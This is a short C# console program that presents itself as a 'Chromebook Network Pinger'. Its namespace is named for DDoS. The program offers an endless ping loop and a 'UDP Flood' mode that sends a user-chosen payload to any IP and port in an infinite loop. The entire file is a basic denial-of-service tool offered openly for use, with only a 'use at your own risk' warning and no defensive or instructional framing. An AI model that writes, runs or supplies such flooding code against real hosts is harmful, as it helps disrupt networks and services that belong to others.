using System;

using System.Net.Sockets;

using System.Threading;

using System.Threading.Tasks;

using System.Net.NetworkInformation;

using System.Text;

using System.IO;

​

namespace ddoserforidktbh

{

    class NetworkPinger

    {

        static void Main(string[] args)

        {

            Console.BackgroundColor = ConsoleColor.Black;

            Console.ForegroundColor = ConsoleColor.Green;

​

            Console.WriteLine("Welcome to the Chromebook Network Pinger");

            Console.WriteLine("----------------------------------------");

            Console.WriteLine("1. Type an IP to Ping");

            Console.WriteLine("2. Type a Message to UDP Flood (optional)");

            Console.WriteLine("-----------------------------------------");

            Console.WriteLine("Controls");

            Console.WriteLine("--------");

            Console.WriteLine("To stop pinging, press Ctrl+C");

            Console.WriteLine("-------------------------------------------");

            Console.WriteLine("WARNING!");

            Console.WriteLine("USE AT YOUR OWN RISK!");

            Console.WriteLine("Choose a number:");

​

            string choice = Console.ReadLine();

​

            if (choice == "1")

            {

                Console.WriteLine("Enter the IP address to ping:");

                string ip = Console.ReadLine();

                PingIPAddressAsync(ip);

            }

​

            else if (choice == "2")

            {

                Console.WriteLine("Enter the IP address for UDP Flooding:");

                string ip = Console.ReadLine();

​

                Console.WriteLine("Enter the message/payload to send for UDP Flooding:");

                string message = Console.ReadLine();

​

                Console.WriteLine("Enter the port number:");

                string portStr = Console.ReadLine();

​

                if (string.IsNullOrEmpty(message))

                {

                    message = null;

                }

​

                if (!string.IsNullOrEmpty(message))

                {

                    if (int.TryParse(portStr, out int port))

                    {

                        SendMessageAsync(ip, message, port);

                    }

                }

                else

                {

                    Console.WriteLine("No message/payload entered.");

                }

            }

            else

            {

                Console.WriteLine("Invalid choice.");

            }

        }

        static async void PingIPAddressAsync(string ip)

        {

​

            Ping ping = new Ping();

​

            while (true)

            {

                try

                {

                    PingReply reply = await ping.SendPingAsync(ip);

​

                    if (reply.Status == IPStatus.Success)

                    {

                        Console.WriteLine($":) Pinging {ip} successful. Latency: {reply.RoundtripTime} ms.");

                    }

                    else

                    {

                        Console.WriteLine($":0 Pinging to {ip} failed: {reply.Status}");

                    }

                }

                catch (PingException ex)

                {

                    Console.WriteLine($":( Error pinging IP {ip}: {ex.Message}");

                }

            }

        }

        static async void SendMessageAsync(string ip, string message, int port)

        {

            while (true)

            {

​

                try

                {

                    using (UdpClient udpClient = new UdpClient())

                    {

                        byte[] messageBytes = Encoding.UTF8.GetBytes(message);

                        await udpClient.SendAsync(messageBytes, messageBytes.Length, ip, port);

​

                        Console.WriteLine($":) UDP Flooding {ip}!: {message}");

                    }

                }

                catch (Exception ex)

                {

                    Console.WriteLine($":( Error UDP Flooding to {ip}: {ex.Message}");

                }

            }

        }

    }

}